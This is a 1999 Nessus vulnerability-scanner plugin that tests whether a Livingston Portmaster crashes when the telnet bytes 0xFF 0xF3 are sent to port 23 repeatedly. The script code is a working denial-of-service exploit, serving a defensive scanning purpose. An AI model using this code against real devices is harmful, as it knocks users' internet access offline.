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#
# This script was written by Renaud Deraison <deraison@cvs.nessus.org>
#
# See the Nessus Scripts License for details
#
if(description)
{
script_id(10182);
script_cve_id("CAN-2000-0074");
name["english"] = "Livingston Portmaster crash";
name["francais"] = "Crash de Livingston Portmaster";
script_name(english:name["english"], francais:name["francais"]);
desc["english"] = "
It was possible to crash the remote
Livingston portmaster by overflowing
its buffers by sending several times
the two chars :
0xFF 0xF3
A cracker may use this flaw to prevent you
to use your internet access.
Solution : Contact your vendor for a patch.
Risk factor : High.";
desc["francais"] = "
Il s'est avr possible de faire planter
le Livingston Portmaster distant en
dpassant ses buffers en lui envoyant
plusieurs fois les deux caractres :
0xFF 0xF3
Un pirate peut utiliser ce problme pour
vous empecher d'avoir accs internet.
Solution : Contactez votre vendeur pour un
patch.
Facteur de risque : Elev.";
script_description(english:desc["english"], francais:desc["francais"]);
summary["english"] = "Crashes the remote portmaster";
summary["francais"] = "Plante le portmaster distant";
script_summary(english:summary["english"], francais:summary["francais"]);
script_category(ACT_DENIAL);
script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
family["english"] = "Denial of Service";
family["francais"] = "Dni de service";
script_family(english:family["english"], francais:family["francais"]);
script_require_ports(23);
exit(0);
}
#
# The script code starts here
#
crp = raw_string(0xFF, 0xF3, 0xFF, 0xF3, 0xFF, 0xF3, 0xFF, 0xF3, 0xFF, 0xF3);
port = 23;
if(get_port_state(port))
{
soc = open_sock_tcp(port);
if(soc)
{
#
# Send the crap ten times
#
start_denial();
send(socket:soc, data:crp, length:10) x 10;
close(soc);
alive = end_denial();
if(!alive){
set_kb_item(name:"Host/dead", value:TRUE);
security_hole(0);
}
}
}
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